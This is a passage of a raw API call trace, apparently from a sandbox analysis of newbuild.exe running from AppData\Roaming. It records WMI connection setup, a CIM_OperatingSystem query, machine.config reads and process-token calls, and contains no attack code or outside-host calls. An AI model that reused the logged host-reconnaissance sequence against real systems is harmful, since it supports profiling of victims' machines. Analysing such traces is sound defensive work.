out: puBuffLength=0x12fef9c*=0xf, pszText=0x0) returned 0x0 [0204.481] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fef9c*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef9c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0204.481] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef28 | out: ppv=0x12fef28*=0x135504c) returned 0x0 [0204.481] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef20 | out: pAptType=0x12fef20*=1) returned 0x0 [0204.482] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef24 | out: ppvObject=0x12fef24*=0x0) returned 0x80004002 [0204.482] IUnknown:Release (This=0x135504c) returned 0x1 [0204.482] CoGetClassObject (in: rclsid=0x1394574*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12feb38 | out: ppv=0x12feb38*=0x13a1780) returned 0x0 [0204.482] WbemLocator:IUnknown:QueryInterface (in: This=0x13a1780, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fed54 | out: ppvObject=0x12fed54*=0x0) returned 0x80004002 [0204.482] WbemLocator:IClassFactory:CreateInstance (in: This=0x13a1780, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed60 | out: ppvObject=0x12fed60*=0x1382768) returned 0x0 [0204.482] WbemLocator:IUnknown:Release (This=0x13a1780) returned 0x0 [0204.482] WbemLocator:IUnknown:QueryInterface (in: This=0x1382768, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe984 | out: ppvObject=0x12fe984*=0x1382768) returned 0x0 [0204.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1382768, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe940 | out: ppvObject=0x12fe940*=0x0) returned 0x80004002 [0204.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1382768, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe534 | out: ppvObject=0x12fe534*=0x0) returned 0x80004002 [0204.483] WbemLocator:IUnknown:AddRef (This=0x1382768) returned 0x3 [0204.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1382768, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe294 | out: ppvObject=0x12fe294*=0x0) returned 0x80004002 [0204.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1382768, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe244 | out: ppvObject=0x12fe244*=0x0) returned 0x80004002 [0204.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1382768, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe250 | out: ppvObject=0x12fe250*=0x0) returned 0x80004002 [0204.483] CoGetContextToken (in: pToken=0x12fe2b0 | out: pToken=0x12fe2b0) returned 0x0 [0204.483] CoGetContextToken (in: pToken=0x12fe6b8 | out: pToken=0x12fe6b8) returned 0x0 [0204.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1382768, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe744 | out: ppvObject=0x12fe744*=0x0) returned 0x80004002 [0204.483] WbemLocator:IUnknown:Release (This=0x1382768) returned 0x2 [0204.483] WbemLocator:IUnknown:Release (This=0x1382768) returned 0x1 [0204.483] CoGetContextToken (in: pToken=0x12fed40 | out: pToken=0x12fed40) returned 0x0 [0204.483] CoGetContextToken (in: pToken=0x12feca0 | out: pToken=0x12feca0) returned 0x0 [0204.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1382768, riid=0x12fed70*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fed6c | out: ppvObject=0x12fed6c*=0x1382768) returned 0x0 [0204.483] WbemLocator:IUnknown:AddRef (This=0x1382768) returned 0x3 [0204.483] WbemLocator:IUnknown:Release (This=0x1382768) returned 0x2 [0204.483] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fef04 | out: puCount=0x12fef04*=0x2) returned 0x0 [0204.483] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=8, puBuffLength=0x12fef00*=0x0, pszText=0x0 | out: puBuffLength=0x12fef00*=0xf, pszText=0x0) returned 0x0 [0204.483] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=8, puBuffLength=0x12fef00*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef00*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0204.483] CoCreateInstance (in: rclsid=0x6e5436ac*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6e54370c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x12fedbc | out: ppv=0x12fedbc*=0x1382748) returned 0x0 [0204.484] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1382748, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x12fee50 | out: ppNamespace=0x12fee50*=0x13caa18) returned 0x0 [0204.519] WbemLocator:IUnknown:QueryInterface (in: This=0x13caa18, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fece4 | out: ppvObject=0x12fece4*=0x1395a60) returned 0x0 [0204.519] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1395a60, pProxy=0x13caa18, pAuthnSvc=0x12fed34, pAuthzSvc=0x12fed30, pServerPrincName=0x12fed28, pAuthnLevel=0x12fed2c, pImpLevel=0x12fed1c, pAuthInfo=0x12fed20, pCapabilites=0x12fed24 | out: pAuthnSvc=0x12fed34*=0xa, pAuthzSvc=0x12fed30*=0x0, pServerPrincName=0x12fed28, pAuthnLevel=0x12fed2c*=0x6, pImpLevel=0x12fed1c*=0x2, pAuthInfo=0x12fed20, pCapabilites=0x12fed24*=0x1) returned 0x0 [0204.519] WbemLocator:IUnknown:Release (This=0x1395a60) returned 0x1 [0204.520] WbemLocator:IUnknown:QueryInterface (in: This=0x13caa18, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fecd8 | out: ppvObject=0x12fecd8*=0x1395a84) returned 0x0 [0204.520] WbemLocator:IUnknown:QueryInterface (in: This=0x13caa18, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fecc4 | out: ppvObject=0x12fecc4*=0x1395a60) returned 0x0 [0204.520] WbemLocator:IClientSecurity:SetBlanket (This=0x1395a60, pProxy=0x13caa18, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0204.520] WbemLocator:IUnknown:Release (This=0x1395a60) returned 0x2 [0204.520] WbemLocator:IUnknown:Release (This=0x1395a84) returned 0x1 [0204.520] CoTaskMemFree (pv=0x13d5c10) [0204.520] WbemLocator:IUnknown:AddRef (This=0x13caa18) returned 0x2 [0204.520] WbemLocator:IUnknown:Release (This=0x1382748) returned 0x0 [0204.520] CoGetContextToken (in: pToken=0x12fe200 | out: pToken=0x12fe200) returned 0x0 [0204.521] CoGetContextToken (in: pToken=0x12fe608 | out: pToken=0x12fe608) returned 0x0 [0204.521] WbemLocator:IUnknown:QueryInterface (in: This=0x13caa18, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5a0 | out: ppvObject=0x12fe5a0*=0x1395a68) returned 0x0 [0204.521] WbemLocator:IRpcOptions:Query (in: This=0x1395a68, pPrx=0x13a14f8, dwProperty=2, pdwValue=0x12fe6a0 | out: pdwValue=0x12fe6a0) returned 0x80004002 [0204.521] WbemLocator:IUnknown:Release (This=0x1395a68) returned 0x2 [0204.521] CoGetContextToken (in: pToken=0x12febe8 | out: pToken=0x12febe8) returned 0x0 [0204.521] CoGetContextToken (in: pToken=0x12feb48 | out: pToken=0x12feb48) returned 0x0 [0204.521] WbemLocator:IUnknown:QueryInterface (in: This=0x13caa18, riid=0x12fec18*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x12feae0 | out: ppvObject=0x12feae0*=0x13caa18) returned 0x0 [0204.521] WbemLocator:IUnknown:Release (This=0x13caa18) returned 0x2 [0204.521] SysStringLen (param_1=0x0) returned 0x0 [0204.521] CoGetContextToken (in: pToken=0x12fecf8 | out: pToken=0x12fecf8) returned 0x0 [0204.521] IWbemServices:ExecQuery (in: This=0x13caa18, strQueryLanguage="WQL", strQuery="SELECT * FROM CIM_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x12fef10 | out: ppEnum=0x12fef10*=0x13acf50) returned 0x0 [0204.531] IUnknown:QueryInterface (in: This=0x13acf50, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed64 | out: ppvObject=0x12fed64*=0x13acf54) returned 0x0 [0204.531] IClientSecurity:QueryBlanket (in: This=0x13acf54, pProxy=0x13acf50, pAuthnSvc=0x12fedb4, pAuthzSvc=0x12fedb0, pServerPrincName=0x12feda8, pAuthnLevel=0x12fedac, pImpLevel=0x12fed9c, pAuthInfo=0x12feda0, pCapabilites=0x12feda4 | out: pAuthnSvc=0x12fedb4*=0xa, pAuthzSvc=0x12fedb0*=0x0, pServerPrincName=0x12feda8, pAuthnLevel=0x12fedac*=0x6, pImpLevel=0x12fed9c*=0x2, pAuthInfo=0x12feda0, pCapabilites=0x12feda4*=0x1) returned 0x0 [0204.531] IUnknown:Release (This=0x13acf54) returned 0x1 [0204.531] IUnknown:QueryInterface (in: This=0x13acf50, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed58 | out: ppvObject=0x12fed58*=0x1396484) returned 0x0 [0204.531] IUnknown:QueryInterface (in: This=0x13acf50, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed44 | out: ppvObject=0x12fed44*=0x13acf54) returned 0x0 [0204.531] IClientSecurity:SetBlanket (This=0x13acf54, pProxy=0x13acf50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0204.537] IUnknown:Release (This=0x13acf54) returned 0x2 [0204.537] WbemLocator:IUnknown:Release (This=0x1396484) returned 0x1 [0204.537] CoTaskMemFree (pv=0x13d5ca0) [0204.537] IUnknown:AddRef (This=0x13acf50) returned 0x2 [0204.537] CoGetContextToken (in: pToken=0x12fe280 | out: pToken=0x12fe280) returned 0x0 [0204.537] CoGetContextToken (in: pToken=0x12fe688 | out: pToken=0x12fe688) returned 0x0 [0204.538] IUnknown:QueryInterface (in: This=0x13acf50, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe620 | out: ppvObject=0x12fe620*=0x1396468) returned 0x0 [0204.538] WbemLocator:IRpcOptions:Query (in: This=0x1396468, pPrx=0x13a15b8, dwProperty=2, pdwValue=0x12fe720 | out: pdwValue=0x12fe720) returned 0x80004002 [0204.538] WbemLocator:IUnknown:Release (This=0x1396468) returned 0x2 [0204.538] CoGetContextToken (in: pToken=0x12fec60 | out: pToken=0x12fec60) returned 0x0 [0204.538] CoGetContextToken (in: pToken=0x12febc0 | out: pToken=0x12febc0) returned 0x0 [0204.538] IUnknown:QueryInterface (in: This=0x13acf50, riid=0x12fec90*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12feb58 | out: ppvObject=0x12feb58*=0x13acf50) returned 0x0 [0204.538] IUnknown:Release (This=0x13acf50) returned 0x2 [0204.538] SysStringLen (param_1=0x0) returned 0x0 [0204.538] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fef5c | out: puCount=0x12fef5c*=0x2) returned 0x0 [0204.538] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fef58*=0x0, pszText=0x0 | out: puBuffLength=0x12fef58*=0xf, pszText=0x0) returned 0x0 [0204.538] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fef58*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef58*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0204.538] CoGetContextToken (in: pToken=0x12feda8 | out: pToken=0x12feda8) returned 0x0 [0204.538] IEnumWbemClassObject:Clone (in: This=0x13acf50, ppEnum=0x12fef68 | out: ppEnum=0x12fef68*=0x13ac2d0) returned 0x0 [0204.542] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee24 | out: ppvObject=0x12fee24*=0x13ac2d4) returned 0x0 [0204.542] IClientSecurity:QueryBlanket (in: This=0x13ac2d4, pProxy=0x13ac2d0, pAuthnSvc=0x12fee74, pAuthzSvc=0x12fee70, pServerPrincName=0x12fee68, pAuthnLevel=0x12fee6c, pImpLevel=0x12fee5c, pAuthInfo=0x12fee60, pCapabilites=0x12fee64 | out: pAuthnSvc=0x12fee74*=0xa, pAuthzSvc=0x12fee70*=0x0, pServerPrincName=0x12fee68, pAuthnLevel=0x12fee6c*=0x6, pImpLevel=0x12fee5c*=0x2, pAuthInfo=0x12fee60, pCapabilites=0x12fee64*=0x1) returned 0x0 [0204.542] IUnknown:Release (This=0x13ac2d4) returned 0x1 [0204.542] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee18 | out: ppvObject=0x12fee18*=0x1395e84) returned 0x0 [0204.542] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee04 | out: ppvObject=0x12fee04*=0x13ac2d4) returned 0x0 [0204.542] IClientSecurity:SetBlanket (This=0x13ac2d4, pProxy=0x13ac2d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0204.545] IUnknown:Release (This=0x13ac2d4) returned 0x2 [0204.545] WbemLocator:IUnknown:Release (This=0x1395e84) returned 0x1 [0204.545] CoTaskMemFree (pv=0x13d5ee0) [0204.545] IUnknown:AddRef (This=0x13ac2d0) returned 0x2 [0204.545] CoGetContextToken (in: pToken=0x12fe330 | out: pToken=0x12fe330) returned 0x0 [0204.545] CoGetContextToken (in: pToken=0x12fe738 | out: pToken=0x12fe738) returned 0x0 [0204.545] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe6d0 | out: ppvObject=0x12fe6d0*=0x1395e68) returned 0x0 [0204.546] WbemLocator:IRpcOptions:Query (in: This=0x1395e68, pPrx=0x13a16a8, dwProperty=2, pdwValue=0x12fe7d0 | out: pdwValue=0x12fe7d0) returned 0x80004002 [0204.546] WbemLocator:IUnknown:Release (This=0x1395e68) returned 0x2 [0204.546] CoGetContextToken (in: pToken=0x12fed10 | out: pToken=0x12fed10) returned 0x0 [0204.546] CoGetContextToken (in: pToken=0x12fec70 | out: pToken=0x12fec70) returned 0x0 [0204.546] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x12fed40*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12fec08 | out: ppvObject=0x12fec08*=0x13ac2d0) returned 0x0 [0204.546] IUnknown:Release (This=0x13ac2d0) returned 0x2 [0204.546] SysStringLen (param_1=0x0) returned 0x0 [0204.546] IEnumWbemClassObject:Reset (This=0x13ac2d0) returned 0x0 [0204.547] CoTaskMemAlloc (cb=0x4) returned 0x1382758 [0204.547] IEnumWbemClassObject:Next (in: This=0x13ac2d0, lTimeout=-1, uCount=0x1, apObjects=0x1382758, puReturned=0x32337d0 | out: apObjects=0x1382758*=0x0, puReturned=0x32337d0*=0x0) returned 0x1 [0204.548] CoTaskMemFree (pv=0x1382758) [0204.548] CoGetContextToken (in: pToken=0x12fee88 | out: pToken=0x12fee88) returned 0x0 [0204.548] IUnknown:Release (This=0x13ac2d0) returned 0x1 [0204.548] IUnknown:Release (This=0x13ac2d0) returned 0x0 [0204.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe.config", nBufferLength=0x105, lpBuffer=0x12fe8dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe.config", lpFilePart=0x0) returned 0x33 [0204.680] GetCurrentProcess () returned 0xffffffff [0204.680] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fec44 | out: TokenHandle=0x12fec44*=0x590) returned 1 [0204.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x12fe6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0204.685] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x12fec3c | out: lpFileInformation=0x12fec3c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0204.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x12fe69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0204.686] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x12fec44 | out: lpFileInformation=0x12fec44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0204.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x12fe638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0204.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feb7c) returned 1 [0204.687] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x598 [0204.687] GetFileType (hFile=0x598) returned 0x1 [0204.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feb78) returned 1 [0204.687] GetFileType (hFile=0x598) returned 0x1 [0204.717] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x12febc8 | out: phkResult=0x12febc8*=0x0) returned 0x2 [0204.717] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x12febc8 | out: phkResult=0x12febc8*=0x0) returned 0x2 [0204.718] GetFileSize (in: hFile=0x598, lpFileSizeHigh=0x12fec38 | out: lpFileSizeHigh=0x12fec38*=0x0) returned 0x8c8f [0204.718] ReadFile (in: hFile=0x598, lpBuffer=0x3236d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12febf4, lpOverlapped=0x0 | out: lpBuffer=0x3236d18*, lpNumberOfBytesRead=0x12febf4*=0x1000, lpOverlapped=0x0) returned 1 [0204.820] ReadFile (in: hFile=0x598, lpBuffer=0x3236d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12feaa0, lpOverlapped=0x0 | out: lpBuffer=0x3236d18*, lpNumberOfBytesRead=0x12feaa0*=0x1000, lpOverlapped=0x0) returned 1 [0204.822] ReadFile (in: hFile=0x598, lpBuffer=0x3236d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fe954, lpOverlapped=0x0 | out: lpBuffer=0x3236d18*, lpNumberOfBytesRead=0x12fe954*=0x1000, lpOverlapped=0x0) returned 1 [0204.823] ReadFile (in: hFile=0x598, lpBuffer=0x3236d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fe954, lpOverlapped=0x0 | out: lpBuffer=0x3236d18*, lpNumberOfBytesRead=0x12fe954*=0x1000, lpOverlapped=0x0) returned 1 [0204.823] ReadFile (in: hFile=0x598, lpBuffer=0x3236d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fe954, lpOverlapped=0x0 | out: lpBuffer=0x3236d18*, lpNumberOfBytesRead=0x12fe954*=0x1000, lpOverlapped=0x0) returned 1 [0204.823] ReadFile (in: hFile=0x598, lpBuffer=0x3236d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fe88c, lpOverlapped=0x0 | out: lpBuffer=0x3236d18*, lpNumberOfBytesRead=0x12fe88c*=0x1000, lpOverlapped=0x0) returned 1 [0204.828] ReadFile (in: hFile=0x598, lpBuffer=0x3236d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fea10, lpOverlapped=0x0 | out: lpBuffer=0x3236d18*, lpNumberOfBytesRead=0x12fea10*=0x1000, lpOverlapped=0x0) returned 1 [0204.829] ReadFile (in: hFile=0x598, lpBuffer=0x3236d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fe91c, lpOverlapped=0x0 | out: lpBuffer=0x3236d18*, lpNumberOfBytesRead=0x12fe91c*=0x1000, lpOverlapped=0x0) returned 1 [0204.829] ReadFile (in: hFile=0x598, lpBuffer=0x3236d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fe91c, lpOverlapped=0x0 | out: lpBuffer=0x3236d18*, lpNumberOfBytesRead=0x12fe91c*=0xc8f, lpOverlapped=0x0) returned 1 [0204.829] ReadFile (in: hFile=0x598, lpBuffer=0x3236d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fe9e0, lpOverlapped=0x0 | out: lpBuffer=0x3236d18*, lpNumberOfBytesRead=0x12fe9e0*=0x0, lpOverlapped=0x0) returned 1 [0204.829] CloseHandle (hObject=0x598) returned 1 [0204.831] GetCurrentProcess () returned 0xffffffff [0204.831] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fed8c | out: TokenHandle=0x12fed8c*=0x598) returned 1 [0204.832] GetCurrentProcess () returned 0xffffffff [0204.832] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fed8c | out: TokenHandle=0x12fed8c*=0x59c) returned 1 [0204.832] GetCurrentProcess () returned 0xffffffff [0204.832] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x12fec44 | out: TokenHandle=0x12fec44*=0x5a0) returned 1 [0204.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe.config" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\newbuild.exe.config"), fInfoLevelId=0x0, 